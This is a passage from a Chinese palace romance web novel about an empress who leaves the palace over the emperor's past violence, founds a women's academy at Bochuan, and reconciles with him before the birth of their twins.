从战略看,他成功了,是英雄。从红袖招看,他是杀人不眨眼的恶魔。 崔雪朝一面为他当年横扫前朝而敬服,一面又很痛苦。 不知是不是她在哭,总觉得他也在哭,扭头看他,脸上无泪,却有如她一般的痛苦浮现,“我知晓说了实情等同于在推你远着我,可我”他顿了下,“可我没办法骗你。” 那就进了绝境。 说清楚的话,是走不下去的路。 他不见她想念,见她会欢喜,她见他想起痛苦。 两两相望片刻,就在袁望心里生出几分期望之际,她把被自己攥着的手一点点抽出,裹着秋被背过身去。 她就是这样纯粹的人,一旦生了嫌隙,就要把人推出她的底线之外。 袁望枯坐了半晌,夜渐渐深了,有寒意卷上身,他脱下外衫躺在自己的枕上,一直睁着眼,也知晓枕头那侧的人也清醒着。 不知过去多久,昏暗中窸窸窣窣的响声,身上一暖。是她掀起自己的被子覆在他身上。 “别着凉生病了。” 这是她头一回主动直白地关怀自己,不说些‘都是为了大乾’一类冠冕堂皇的话。 她的通达似乎是因为下了某种要背离自己的决定。 袁望将她揽到怀中,温热一点点密不可分,与从前并无分别。 天亮前去上朝,秋意浓了,坤宁宫院子里的金桂一夜北风后落了满地金黄,乾元帝穿戴好朝服,站在门边久久没动。 童公公又一次提醒:“陛下,快到上朝的时辰了。” 帝王嗯了声,回眸看眼垂立的阿屏,“别再鼓动你主子跟朕分开。” 最淡然的语气,睥睨的气势如刀瞬间攫住阿屏的心,她扑通吓跪在地上,等眼前明黄的曳撒消失,被一只有力的手臂搀扶站起。 贺功看她小脸白森森的,叹口气:“平时不是就劝你说话前过过脑子嘛,现在好了,入了陛下耳朵,往后你小命就挂在悬崖边上了。” 阿屏倔着脸没说话,一颠儿到了小厨房,正要跟秦姑姑告状,就见万姑姑迈步出来,与她点头算是打过招呼。 阿屏困惑着进了门槛,瞧见秦姑姑两眼无神地站在当地,问怎么了。 秦姑姑摇摇头,清明的眼先往门边看了看,紧接着拉着阿屏的胳膊往角落里钻,“方才万姑姑来同我说话,不知怎么,突然提起了我家里头那个不孝子。” 这不稀罕,秦姑姑平常空了也常跟宫人们提起自家不孝顺的儿子。 “关键是她说起了我两个孙儿,大的乳名狗花,小的乳名通宝儿。”秦姑姑从来没跟旁人说起过自己两个孙子的名讳,提起来只说大的那个怎么怎么,小的那个怎么怎么 阿屏叫她的话给惊着了,想了想,凑到秦姑姑耳朵边说了今晨自己的经历。 两人扎坐在一起,混热的厨房里突然让她们前后打了一个冷颤! 秦妈妈突然说:“皇后娘娘与陛下恩爱美满,不过是拌嘴几句,小夫妻过日子牙齿还的碰着舌头呢,往后咱们还是劝和不劝分吧。” 阿屏眨眨眼,见秦妈妈手指头藏在大腿缝里,往房顶上戳着,心领神会道:“是了!是了!” 二人同时心想:一时伪装,待哄住了盯梢的再说。 另一边的万姑姑两袖轻松,意思带到了,也不必让人盯着一老一小说什么悄悄话,芝麻大的胆子经不起恐吓,往后必然会老实。 进到正殿,娘娘起身了正在梳头。 虽有些眼睛肿,不过瞧着气色尚好。 传早膳途中,宫门上出现汉王的身影。见了万姑姑,汉王说要来给母后请安。 平时上书房念书,汉王只下课后才来,晨起皇后体恤他年幼让他多睡会儿,准他不用来坤宁宫纳晨安。今儿怎么来了?万姑姑眼睛往宫门上一扫,瞥见御前常跟在童公公身边跑腿的一个面庞,这才意会。 “皇后娘娘才起,容小人去通禀一声。” 汉王点头,深吸口气,今日连书房的功课都免了,父皇交给他重担,母后昨晚跟父皇吵架了怕是不愿意再跟父皇过日子了。 父皇忧愁叹气的样子浮现在汉王的眼前,“儿呀,你想让皇后走吗?皇后走了,你就只能养在贤贵妃身边了。” 汉王生生打了一个寒噤,贤姨母板起脸的样子跟钟馗一样,有入梦惊魂的恐怖! 今日他要好好表现,如父皇所言,要让母后明白自己这么小,离不开母后的养育! 坚定了心中所想,进到殿内小厅间。 先恭恭敬敬地磕头给母后请安,汉王不必太过捏嗓子,他今年五岁,正常说话都黏黏糯糯的,父皇以前说他大舌头,今晨说这嗓音很能让妇人心软。 果然见了他,母后脸上洋溢着笑容,伸手招呼他到身边,“今儿没去读书?” 汉王点头:“文先生家里的儿媳妇要给他生孙子了,他告假了。” 崔雪朝很理解,“有布置功课吗?” 汉王说有,要抄大字,千字文,百家姓,默背弟子规等等不去上课,也不能备懒。 崔雪朝说好,领着他坐好。 今日的汉王吃什么都要夸一遍,连平平无奇的水煮蛋都让他很有心得,“母后,以前我的水煮蛋都被宫人吃了,她们说要磨练我的意志,吃得太好就会养着好逸恶劳的恶习。幸好母亲来了,现在我早上能吃水煮蛋,还有一碗牛乳喝!” 崔雪朝心软软的,给他舀了一勺肉糜,“想吃什么就吃,有母后给你做主。” 这顿吃得汉王小肚子滚圆。 等到上午的功课做完,下晌要去跟武师父上课,他又依依不舍地望着送自己读书的母后:“以后母后还来接我下课吗?” 崔雪朝:“” ‘母后以后还回陪我写打字嘛’ ‘母后以后还会给我绣笔袋子嘛’ ‘母后以后还会为我擦汗珠嘛’ 小小年纪,被他父亲诱惑得做这些,真是可怜。 但他睁着与他父亲相似的丹凤小眼睛,实在很惹得她怜爱,“太晚,母后就不去接你了。”见他瞬间失望,只好:“但你下课回来,母后肯定在。” 汉王这才舒展眉头,看看时辰小腿扯开就跑,再不跑上课就要迟到了! 等到小小的身影消失在宫道上,崔雪朝问今日是什么时候。 万姑姑说:“八月十一,再有四天就是中秋了。” 见娘娘盯着天上流云的侧颜太过平静,心悬了下:“中秋快到了,崔家三夫人请托娘娘的事情就有眉目了。” 仿佛提及崔家,就能让娘娘欲飞的心落在实地上。 崔雪朝淡笑了下:“她所求,是妄求。仲家不会应承的。” “后天是汉王生母的冥辰,让御庙的住持打个祭礼。” 万姑姑应是。 汉王年岁太小失了母亲,若是皇后娘娘不去张罗,他身边人有意无意地忘了,传到杨家怕是对皇后娘娘有说辞,再往深了想,百官会觉得汉王对生母并无孝顺之心。 娘娘能记挂汉王,便不是起了离意。 * 宫里只几位主子,有些风吹草动就会惊动湖面。 昨日陛下从通政殿匆匆赶往坤宁宫,去了不久就传了太医给皇后看诊,风言风语传起来,似乎是皇后娘娘为什么事情跟陛下起了龃龉,惊动胎气竟然昏厥过去! 董贵人吓了一大跳,早早要来坤宁宫,结果在宫道上被请到陛下跟前。 陛下委婉说了几句,董贵人听出是陛下惹了娘娘不痛快,娘娘怕是要远走內宫。董贵人操着很怒其不争的眼神看陛下:“您就不能服个软?” 乾元帝:“朕服了,没用。” 自家哥哥活着和陛下年岁一般,董贵人一想若是自己的嫂子要跟哥哥闹得日子过不下去,就觉得自己哥哥真是无用,连自己的媳妇怀了娃娃的天时地利下,还留不住人? 她心里啧啧了下,“陛下放心,皇后娘娘跟前嫔妾还是有几分脸面的,我帮着您劝劝。” 董贵人带着势在必得的决心消失在乾元帝的眼前,等至傍晚,让人去打听,听说董贵人在坤宁宫给皇后耍枪解闷,一个不留神那钝了头的枪捣烂琉璃窗扎进屋里,把皇后娘娘绣了大半个月的绢彩当中戳了个洞。 乾元帝:“” 隔一天,董贵人拉上了赵嫔,让皇后提前看看赵嫔学的舞,免得赵嫔在内外命妇那么多人前丢脸。 赵嫔铁青着脸不甘不愿地在亭子里拧了几圈。 临了下台阶,咵嚓,才好没多久的脚踝又崴了,当场肿成馒头样,中秋献舞是不成了,赵嫔吊着嗓子哭爹喊娘叫老天爷劈道惊雷落到董贵人头上。 皇后娘娘只好赏了赵嫔好些金银珠宝补偿。 拿了东西的赵嫔被抬出坤宁宫,董贵人抻着脖子目送赵嫔一行消失,抚着胸口也委屈,“赵嫔那舞扭起来又不好看,她方才莫不是故意崴了脚,好讹诈娘娘的东西吧?”从方才赵嫔盯着红盘上的金元宝时露出的两眼精光,此类猜测似乎并不是没有根据。 因为赵嫔方才一顿哭喊,皇后颇觉头大,董贵人也不好呆着,灰溜溜回了自己住处。 乾元帝:“” 这么不省心的后宫,更会让皇后坚定离去的念头。 疏散后宫嫔妃的念头再一次浮上脑海。 汉王拜祭生母的事迹传到前朝,杨国公听闻竟是皇后吩咐人前后操办,五味杂陈。 妻子因为宫中贵妃的事情一直病着,幼子又是个脑子拎不清的,自己的侍读之位悬着半空还整日没心没肺地怪宫中给他的饭菜太清淡,一回家只会抱着大肘子啃。 汉王小小年纪,偶见自己这位外祖父,总是觑着眼,不敢正眼看人,性子太卑弱了。 想来想去,借汉王势力让家族更上一层楼似乎只是自己的梦了。 中秋大宴,与贤贵妃见了一面,她倒是没有从前的怨怼脸,杨国公知晓她近日得了宫务在做,且做得不错,陛下似乎有意让她协理六宫。 贤贵妃呢见了亲爹,依旧板着个脸:“父亲做什么美梦呢?还协理六宫?少做些攀龙附凤的痴心妄想吧。” 杨国公竖起眼睛。 贤贵妃才不怕:“皇后尚在,有她在,我就没有出头日。您盼着我掌权,且先把那尊菩萨弄走。” 这话她说得漫不经心,一心想让亲爹不舒服,哪曾想大宴过后,隔天后宫嫔妃俱全,皇后娘娘尊坐正东,笑容如桃李芳华,却震得满座死寂。 “博川山要开办一家女学,本宫有意全力筹办为望京女子做些事情,打明日起便迁居博川。内宫一应事务交由内廷司与贤贵妃协理。” 第57章 母后连你都不要了吗? 潇潇秋雨, 坤宁宫矗立在一片萧瑟,廊檐下的雨滴垂落如珠,如此难行雨夜, 宫人内监来回穿梭在雨幕中, 忙碌异常。 殿内,乾元帝立在屏风侧, 听那边人温柔地叮嘱汉王在宫中认真读书,“伺候你的人母后筛问过,你不必担心她们会像从前那些敢对你不尊敬。但你要不可仗着自己的身份就随意打罚他们,如是有伺候不到的地方可寻万贵妃做主, 或是询假来博川告知于母后。” 汉王闷闷不乐地点头。 自晨起母后传玉令到后宫, 风雨难阻母后的决心, 汉王偷偷瞥眼屏风上的黑影,偷偷在心里反省, 是不是他辜负了父皇的期望? 崔雪朝留意到他的小动作,抚抚他的顶发, “你没有做错什么, 母后搬出宫外是很早就决定好的,大人们之前的事情你现下还太小, 不能懂。但母后和你父皇不会把大人的气撒到你身上。” 汉王收回目光, “那我多久能去看母后一次?” “只要不耽搁你读书, 你什么时候来都行。博川山很大,女学后院有连舍,母后会在自己住的地方旁边独留一间属于你的舍院。” 汉王渐渐接受,他问过贴身宫人,从望京去博川山,让侍卫抱着骑快马, 来回只需要四个时辰。 他还想再说什么,屏风上的黑影动了,汉王敏锐意识到父皇的不耐烦,只好起身拱手暂退。不在殿内,他去廊庑上等着送母后出门。 小儿轻弱的身影里去,屏风外侧的乾元帝绕至内间,寝居里属于她的东西已经被宫人搬得差不多了,那些代表着皇帝尊宠的豪奢东西,太沉太富丽堂皇的尚在,逡巡几圈,至少不是割舍得干净,他亲手挑选让人送来的耳饰环佩都带走了。 一片寂静,袁望坐在她对面,心平气和地问:“我方才下旨让贺功带了两万禁军去博川提前驻扎。待明日上朝,我会让岳父派工部能吏去博川建行营,委屈你这段时间先在博川小住几天。” 博川只一小镇,女学占的辜家私产早些时候已经落为皇后私人产业,绵延三四里的地方足矣。 崔雪朝不去看他的眼,“不用建行营,民生不易,为我私心浪费民生民力,我和孩子夜里会睡不踏实的。” 她的拒绝平淡,却让袁望恐惧,想了想:“不建行营也好,那我每日处理了政事就上山去看你” 话至一半,见她突然直直看着自己,点点泪光与身后的烛光交映,“我最近不想见到你,从大义来说,我身为一国之后应当理解你的初衷,我尝试去理解,但每次想到母亲” 之后的话再难继续下去,他们之间有了隔阂,或许未来会过去,但眼下她一想到他,眼前是杀戮是母亲惨死,是今春与父亲决绝时父亲崩裂的表情,她知道不该迁怒于他,但她真的做不到先理后情。 “再留在这里,我会觉得喘不上气。我很感激你不曾阻拦我的决定。秋意渐浓,你不必常来看我,让我一个人静静吧。” 袁望沉默几许,“要去多久?三月?六月?” 他看着她护在下腹处的手掌,“难道要等到孩子降生,我这个亲生父亲都不得去见他吗?” 崔雪朝哽了下,摇摇头,说:“做不到的事情我不会轻易承诺。” 归期不定。 堂堂天子对软硬不吃的妻子束手无策,老天爷也不懂事,竟在这时停了雨,只是夜色浓重,如人心头蒙一层阴翳,叫人好不痛快。 他送她出坤宁宫,亲手为她御高架伞,臂膀撑她踩上脚踏,车帘一点点落下,最后希冀的情形没有发生,她一眼都抬起,留给他的只有一个娟秀却倔强的下颌。 汉王瞧着金根车启动,突然崩不住哭出了声。 乾元帝嗓子眼堵了烙铁般的难受,生平第一次主动牵上儿子的腋下,将软软的身躯抱进怀中,儿子依偎在他脖颈,眼泪落到皮肤上,像落在心里。 “父皇,母后连你都不要了吗?” 早慧又敏感的孩子感受到前所未有的母爱,却明白是因为父皇求到佳妇。 乾元帝也很伤心,至少妻子还准允儿子去博川小住,而他呢,却是连一面都不肯施舍。 相拥在一块的父子俩第一次亲近却有入闺怨愁画的气质,一众伺候的宫人们亦是酸苦,尤以万姑姑为首,她被留在宫里守着偌大的坤宁宫。 前些时候她还得意及时给陛下报信,保住了娘娘和陛下的恩爱,连阿屏和秦姑姑两个总是不安分的连敲带打地收拾过了,如今可好,白白得意,通透的皇后怕是早就知晓她的通敌之举,今次离开,自己也失宠了。 万姑姑叹口气,恰好回眸跟童公公对视上,两下里很同情彼此,天一凉,人心也不太暖和了呢。 / 在博川的时光过得很快,不经意之间四月过去。 新旦过,又是一番新气象,即将入腊月,山下的农庄送了不少鲜嫩菜蔬。 博川山脉有一处深谷,颇有几分桃源的僻美,原先的庄子人家有皇后下令,不许驻扎的禁军将此地世代定居的人家驱赶走,有此恩德,山庄时而就要送些时令下难得的东西上山进献给皇后娘娘。 煌煌天家,什么稀罕的得不到,不过庄户人家的善意不必辜负。 说来毗邻而居,来往人情,很有俗世的况味,故而崔雪朝吩咐管事收了两大车的农家菜,吩咐回了常礼。 新旦放旬,昨晚汉王住在博川。 他的小院舍名唤清风徐来,是皇后娘娘赐名,汉王觉得很有书中前辈古人洒脱的气质,十分喜欢。 院舍没有在宫里的皇子教养所殿阁宽敞,但处处布置很雅致,汉王背诵完今日的开蒙读物,小跑着出了院子,恰好见到管事们在拾掇农从望京送上来的东西,一个大大的草编笼子上着锁,缝隙里扎出几撮毛,汉王的眼睛瞬间大亮,蹦跶着凑近。 “小人给殿下请安。” 管事行了礼,见汉王好奇,“殿下此乃猞狸。” 汉王在宫中御兽院见过不少,猞狸也见过,只是在兽院的大内监害怕畜生伤着殿下,不曾让汉王如眼下这般近距离瞧。 博川山管事则比较随和,细语给小殿下说猞狸习性常出没的地方,逢有人喊他去点算东西,于是交代左右看护好殿下,“殿下,这东西野性,您瞧瞧就好,莫要伸手,免得它惊着您。” 汉王有些粉润的小脸蛋一本正经的,小殿下一直都很乖,所以管事放心走了。 汉王盯着猞狸看了半晌,又挪了挪位置去看雉鸡,再过去是今日猎兔,再过去就没什么稀奇的,于是又蹲回到猞狸笼子跟前。 冷不丁的,汉王突然伸出小指头顺着缝隙往猞狸尾巴上戳了戳,里头的蜷缩在自己厚绒绒的尾巴下的猞狸兽早就等着呢,一爪子挠过去,汉王一下子尖叫起来! 足有五寸的一道口子,血直往外冒,汉王咧着嘴就嚎。 左右吓坏了,忙用软帕暂时包住,传御医的,去给皇后娘娘传信的,汉王扯着嗓子:“父皇,父皇!” 宫人不敢耽搁,生怕汉王出了差池,消息传慢自己脑袋搬家,一溜烟奔着山道就往宫城方向窜! 消息递到宫中,陛下当即发怒,撂下一众臣子直奔博川山。 四月后的一个平平无奇的深夜,山间有雪,刚上山的帝王满肩霜雪,拧着眉峰携半山凛冽与守在汉王床前的皇后终于得见。 几月不见,崔雪朝的肚子鼓得很高,袁望知道,那是因为她腹中有双胎,故而比平常七个月的身孕要大很多。 但她气色尚好,软榻架子后垫着高高的软枕,她依在那里,肚子上覆着粉蕊色的绒被,手里拿着画册,正温声软语地在给受伤颇重的汉王讲画册上的故事。 外间的袁望站了许久,等到身上的霜雪消融,吐息温暖,那点急不可耐的想念不会惊着她,这才拨动着帘侧的铜环。 清脆的声音让内室的一大一小同时看了过来,汉王往被子里缩了缩,与此同时把自己包裹得厚又肿的左手露在外面。 皇后面上的笑容还在,骤然撞进一双饱含太多意味的深邃眼眸,有一刹那屏住了呼吸,汉王见她愣住,轻轻碰了下母后的手背,“母后,是父皇来了。” 崔雪朝一笑,说别怕,慢吞吞地坐起下地,不必出声,腰后的位置扶来一只有力的手掌分担去她很多分量,她轻抬眸,那双星光眼眸近在咫尺,只深深地凝视自己不肯偏离分毫。 “落雪了?” 阔别数月,她对他的第一句与分别前话家常时一般无二,袁望垂下眼,扶着她坐直,单膝贴在踏板上,为她套上宽大的软缎敞口鞋子。 “到山下时簌簌下起,明儿起怕是要积厚厚一层。” 崔雪朝点点头,回眸对上汉王亮晶晶的眼,嗔笑了下:“让你今日撩闲逗狸猫,这下好了,落了雪,你伤了手,只能瞧着宫人滚雪球玩。” 汉王失望不已。 “还惦记着玩雪!” 做父亲淡淡的一句,瞬间让汉王闭上眼。 “早些睡吧。” 崔雪朝没多说旁的,毕竟慈母易纵子无成就,有一位严父亦是好的。 出到外间,红罗炭烘得人口燥,刚抿下唇,一杯温水已经递到手边。崔雪朝顿了下才抬手接下,小口小口润了嗓子,并没有多喝。 七个多月的双胎肚子并不容易,吃喝多了都容易不舒服,天寒时起夜很折腾人,索性少喝一杯也没什么。 此处是汉王的清风徐来,崔雪朝喊了几声阿屏,见没人进来,只好看向立在跟前的人,“架子上的狐皮大氅拿来,我要回静和堂。” 得了吩咐的人无声伺候她穿戴好,出了外廊撑起一面伞,严严实实地把人护住,冷风中谁都没有开口,但她握上搀扶递来的臂膀迟迟未松,他身形高大,身上的披风很大,单手撑伞还能吊起披风遮挡风吹。 静和堂的台阶上阿屏和秦姑姑前后立着,见到两位主子来,跪地请安。 “起吧。” 脚步不停,袁望熟稔地领着人往里走,安顿了人坐定,帮她抬起沉重的腿,较小的枕是垫在脚跟处的,两个高枕立着放在踏架台,扳动机关左右手能扶起两个撑起胳膊的倚梁。 那倚梁包裹了软滑的纱罗,沾了炭火的热气,握上去一点都不凉,乃是宫中制的,在皇后四月刚显怀时就送到博川山的。 他的动作有条不紊,很琐碎,但他做起来很有耐心,甚至某个瞬间他赶在她开口前就把不远处的一册书卷递过来时,嘴角还露出浅淡的笑痕。 崔雪朝静静地看着他。 手中的书卷没有心思去读。 这四个月朝堂上并不安宁,无天灾无人祸,只是高家的案子审出了结果,处置深浅全在陛下一念之间,而他或许是因与皇后起了纷争,心气不痛快,原来能缓的不肯松口,严查定死罪的更是不念分毫旧情。 重阳时,父亲递折子上山。 父女两个关上门说了足足一个时辰的话,说了什么外人不知晓,只知道次辅离开时双眼红肿,望着高高的山门叹出好长一口气。 进宫拜见陛下,面对帝王的赔罪,崔次辅连声称不敢。只说皇后娘娘打小就有自己的主意,但有一样好处,不记仇过日子很少回望,有一腔一往无前的勇气。只需给她时间就好。 乾元帝便知皇后心结未解。 十一月,杭州商会现任会长嘉义伯进京叩谢皇恩。 乾元帝传他御前说话。 姚安泰生得并不高大,五官平平无出奇之处,老实是盐的话,这人已经腌得入味了,光从外貌来看的话。 但就是这老实人,凭功劳做到杭州商会,短短两月迅速扫清前杭州商会会长留下的余威,把一个商会彻头彻尾地握在自己手上。 可惜他是地方豪贾,如何翻天也无法越过皇权。 进京前他预感此行危险重重,或许难逃一劫,在家时便与母亲和儿子交代了很多。 姚家老夫人吓得半死,方知晓当年在自己手下活了两年的苦媳妇竟然成了当今国母! 再回想想那时她与对方的相处,扯着儿子袖子哭说都怪娘,娘给你惹事了。 其实姚老夫人也没做什么磋磨媳妇的恶事,多了不过是觉得这媳妇来的地方不干净,生的孙子跟自己儿子不太像,总阴阳怪气。 姚安泰呢,安抚了母亲,赴死之心进京。 谁知陛下头一句跟他说的话是,很感激姚安泰当年仗义之举。 姚安泰愣怔中,便听陛下身边大太监细嗓子跟他说话,姚安泰方知原来陛下义薄云天,真当世第一伟丈夫,听闻崔娘子的前程往事第一时间竟是感激姚家的收留之恩。 姚安泰受之有愧,便也不隐瞒了。 其实他本与南康红袖招的一个乐师有情,当年崔娘子乐艺高绝,与那乐师常常交流技艺,自然而然便与姚安泰熟悉起来。 勇毅醉酒那晚,是乐师遇难险些被掳,崔娘子仗义相帮却被那莽汉强行卷入是非,混乱之中,崔娘子拔下头簪扎了勇毅臂膀,就那般巧合,几人就在楼栏处,一个不慎从高楼之下坠下。 乐师护住了崔娘子,当场气绝。勇毅后脑挨了一簪身亡。 见人死了,红袖招的人被吓坏了,混乱之中,姚安泰只带着昏过去的崔娘子离去。 再后来,姚家生变,不喜自己的生父过世,姚安泰离开南康归家整饬家业,半月后去信南康,很快崔娘子带着那乐师两岁的幼弟以低贱籍出现在杭州城。 “当年小人有苦衷,崔娘子又何尝不是?陛下说小人是仗义之举,小人受之有愧,究起来,是小人趁危而入挟恩求报!” 堂堂高门女子忍辱入贱籍,又在姚家吃了母亲两年的针言却隐忍到约定。 “那时我与崔娘子约好,待前朝覆灭,她无身后忧患,便和离放她归家。” 乾元帝高居庙堂,觉得命运真奇妙,他破灭了她的圆满,阴差阳错却成就了如今的局面。 忍不住发问,当年在南康时崔娘子过得如何。 姚安泰一笑,并无刻意把当年在红袖招献艺的姑娘说得如何玉与珠。 混场子里的讨饭人,心酸都得自己嚼碎了咽下,但,“崔娘子是楼里上下公认的好人,大家知道崔娘子出身京都大家,只是遇到难处才流落烟花处,但崔娘子从不曾看不起楼里的姑娘们,就连最底层的粗使人她见了都会客客气气的。她是乐娘子,加之生得貌好,很得一些客人的点牌,但她不小气,琢磨出好的谱子乐得大家都会,从不吝啬分享。” 她起初笨拙不会圆滑处事,受了委屈憋着气捶墙撒气,一边偷哭。 好人缘下,遇到些难处,众人能帮则帮,有一次帮着红嬷嬷算出给官府纳税银子多了十几两,还担了楼里小账房的活计。 诸如崔娘子这般人,成日里挂在嘴边的话是‘别伤心,人生长着呢,往前看’,乐观通透的人像是自带一身佛性,相处得久,谁在她身边都能沾染生气。 姚安泰又说起几件崔娘子在楼中的往事,不难看出崔娘子在浑浊中自有安身立命、百折不挠的生存之道。 半晌后,乾元帝示意姚安泰退下。 姚安泰弓着腰直到出了殿外才稍稍站起一点,方才回话,几乎生死之间走了一趟。 童公公递过去一方帕子,“伯公请用。” 姚安泰忙连声谢公公体谅。 鬓边的汗拭去,又听童公公开嗓,话里话外暗示皇后在因为红袖招当年的事情而与陛下生了嫌隙。 姚安泰起初没反应过来,宫道上的寒风刮了三遍才头脑清明下来。 当年红袖招起火后,他着人暗中打听过,可惜因身份太低,门路不高,只知道是得罪了北地叛军。 小小商贾如何能与乱世枭雄抗争? 红袖招之火,崔娘子和姚安泰猜测是失手杀人惹来麻烦,却一直不知真凶。 原来 又想到崔娘子如今阴差阳错嫁给当年真凶 在童公公的暗示下姚安泰离开时途径博川,曾拜帖上山求见。 只是皇后没有见他,只让亲近的宫人传话,说往事不必回溯,请旧友向前看吧。 ‘旧友’ 姚安泰舒朗笑笑,朝着薄雾笼罩的山拱拱手,策马扬鞭南下归杭州。 世事如风,当年他痴迷的那乐师如今成了他记忆中的某个模糊刻印。长风道古,也期盼旧友还如从前,不受困于往事磋磨。 山上的崔雪朝听闻阿屏转述姚安泰的话,望着窗外山门一道道迈入女学的身影,心中积郁稍淡。 也是姚安泰帖子递上山的那晚,她突然感受到肚子的一阵动静。 没有经验的皇后颤声喊人,早已固居于山上的值守御医诊脉后说一切无碍,是孩子长大了,有些顽皮。 属于生命传承的悸动无法用言语来描述,秦姑姑阿屏和一众宫人都很喜悦,崔雪朝听着她们叽叽喳喳说起生命中遇到怀孕之人的经历,最应该分享这份喜悦的那个人不在身边。 她知道他常来,深夜匆匆上山,在博川山走一圈,去她白日常去的地方,看她赏景的地方,然后在床畔默默看她很久。但她只做不晓。 此夜,望着他熟练地做着小事,她搁在一旁的手慢慢落在他的手背。 他的手背还带着一点深冬的凉气,而她的掌心温热,稍一触碰,彼此的心跳都停顿瞬间。 盯着交握的手,袁望慢半拍看向她的眼。 “宫务很繁重吗?怎么鬓间生了白发?”她嗓音低柔地征询。 不知为何,他有些局促,“上了岁数难免有些白发。” 然而就这么短短的几个字,催得她突然鼻头发酸,伸手想抱抱他。如此想,便也随心意抬起臂膀。 幸亏他生的胳膊长,不然她好大的肚子顶在中间,实在抱得不圆满,袁望往后撅着腚,尽量给予她想要的温暖,心跳如雷,如雷贯耳。 儿子被猞狸挠一下很值得! 一个简单的拥抱意味着破冰。 温馨美好的窗纱上投映出两人和好的姿态,缠缠的雪下,御前的人在童公公的提醒下,明白今夜不必再顶着寒风回京了。【你现在阅读的是 】 【终章】 第58章 就算有一天年…… 几扇小轩窗厚绸凤帘隔绝室外天寒地冻, 静和堂规制从简从雅,仕瓶玉架照着崔雪朝未出嫁前在崔家喜腊院,防的是在博川目睹坤宁宫熟悉的风格, 以免引起皇后娘娘的厌烦。 其实不必这样忌讳, 崔雪朝清楚自己介意的是什么,有些事情无法用对错来评判, 这般道理她能教授给汉王,自然心知肚明。 诚如当年辜云生的抉择,诚如父亲当年在外埠的所言所行,诚如她当年, 亦有不得已之处。 “如今, 你原谅我了吗?” 崔雪朝背靠在身后人宽阔温暖的胸膛上, 没睁眼,“你不觉得自己有错, 又何必强求我的原谅。” 袁望心里总也患得患失,过去四个月的两不相见, 其实有了成噩梦的效用。 说来也好笑, 拿刀杀人,甚至亲手夺双亲的性命都不至于让他夜不能寐, 唯独与妻子分离之后, 即便处理政事到三更天, 躺下时依旧难眠。 忆起去岁采选时对于选秀册封皇后的轻慢,深感岁月捉弄人真厉害,他也栽进女子柔肠无法自拔了。 鬓边的白发在哪一个宿不能寐的夜晚生出,伺候梳洗的宫人要给他拔,他也看那白发不顺眼,提醒他的年岁愈深。转而一想, 又让宫人梳拢在鬓侧,有招她怜悯的小心机。 或许今晚如愿睡在她枕侧,是源于她可怜他生了白发,此刻抚着她高耸的肚子,还是觉得心里不踏实。细究起来,总觉得自己明儿一起,她收起心软,又要把他驱赶回京,好几月不肯召见一次。 于是忐忑又不争气地追问:“那明日” “明日还让你住,不止明日,往后每一日只要你赶得及都能住下。”过了会儿,她又道:“还是不要日日都来。天寒地冻,冷风里骑马,我怕你病了。” 短短两句话是灵丹妙药! 怀里传来规律的呼吸声,知晓她睡着了,袁望轻手轻脚下了地,掖被角的动作都存着小意,绕至外间,先遣派守夜的宫人进里头照顾着。 大半夜,他睡兴不丰,甚至有挣脱泥沼的狂喜,下令内监去望京传旨,大雪太盛,轮对改为三日一次。 “不!改为五日一次。” 又问:“山下的博川行宫建得如何?” 童公公道:“已有雏形,小人方才问过工部的人,才上过金漆,再快也得散一月的风才好入住。” 乾元帝明显不肯等上一月。 落眼看下四周,皇后孕肚不宜车马颠簸,博川山小小的女学已然扩建成东西二苑,东苑占地三亩,绕曲折山路蜿蜒成势,一层层上去规矩森严。 “将朕的东西从通政殿搬来,山下的行营继续建着,暂不住人,逢大朝会时只太极殿一用。” 这便是要把博川当做小朝堂来用。 童公公心里有数,又问:“陛下,那宫里的贤贵妃等人可否随驾一并住到博川?” 说起这个,乾元帝直呼倒丧气。 皇后初初搬来博川时,汉王很沮丧一阵,小孩子养圆的脸蛋肉眼可见地瘦了,第一次旬休,汉王来博川拜见皇后顺便小住,这一住,住了两月。期间还派人把皇子教养所的东西搬走,顺带把两位一文一武师傅和三位伴读打包送上博川。 要不是前些时候朝堂上为了皇后开设女学议论得沸沸扬扬,乾元帝把汉王召回望京与满朝文武回禀女学所见,只怕汉王这小子早就长居此地。 再说后宫的嫔妃。 乾元帝自然不会趁皇后不在时,昏头昏脑招人来污自己的清白。 平常还召董贵人来一块用膳,省得外臣们总进折子,让他当撒种的牛马。 汉王住在博川山没几日,董贵人就耐不住了。 此女巧言善变,说皇后远在博川,山景如何如画,时日久了只怕一辈子都不会回宫。 乾元帝深感不妙,董贵人说这时候就该有一个亲近之人出现在皇后娘娘的身边,隔三差五地说些望京的风貌,提点些宫里的趣事,如此好让皇后娘娘心里还存着京城人事的念头。 如此,乾元帝便特批了董贵人一伍禁军和出宫腰牌,隔三差五,董贵人就往博川山跑,起初还收敛些,再后来发现没人参她,乾元帝也任由她进出,于是往博川山一住,竟是比汉王住得还长久! 又一说那协理后宫的贤贵妃。 贤贵妃得了皇后玉令,治理后宫严丝合缝地照着规矩来。 什么?董贵人违制多用了两筐炭? 贤贵妃:扣她两月的月例银子补给内廷司采买! 什么?赵嫔偷偷把赏给她的宫中首饰摘了珠子让人偷偷送回家去? 贤贵妃:照宫规罚她十个掌心板子,去御庙抄五十遍宫规! 什么?某个答应竟然敢跟宫里的侍卫眉来眼去? 贤贵妃:让陛下处置。 乾元帝问都没问,吩咐人把那答应遣散回家。 借此情由,刚放一批宫女出宫的后宫又一次放了一批未曾御幸的低等级妃嫔。 皇后不在,礼部和御史台的人没法说是皇后善妒,只能一个劲儿劝陛下为江山社稷考量! 乾元帝只当没听见,一甩袖子,又借着高家,惩办几家望京旧朝蠹虫门阀! 查抄回的田地私产等,不等袁氏宗亲流着哈喇子来分,御笔一挥动,全数设定为博川女学的公产。 全天下男子读书有前任高首辅设立的太学制度,为供养天下学子读书,各地成千上万的田地专用太学。 女学设定,前期一应花销都是乾元帝掏自己的小金库,查抄后的田产正好供养女学。 谁敢反对? 头天上折子,隔天锦职司的伢子就不甚礼貌地敲门查你家祖产有没有违制,有没有贪腐问题。 经得起查的有几个? 就连腰板直的仲首辅也因为家中长子在外狎妓而挨了贬谪,京中谁人门中没点藏污纳垢的事情? 女学推行顺遂,乾元帝一打听,博川山今年开山收弟子,前后闻名而去的有百十来人,欢喜之余,又有些担忧皇后太过操劳。 召董贵人前来问话,董贵人说了小半个时辰的话,乾元帝听过很是后悔,就不该派这能闯山贼窝子的莽女去。 吩咐董贵人下去吧,一招手,又把贤贵妃召来。 董贵人自由出入宫闱,在贤贵妃看来,很不符宫规。 不过有陛下的吩咐,无人当面置喙罢了。 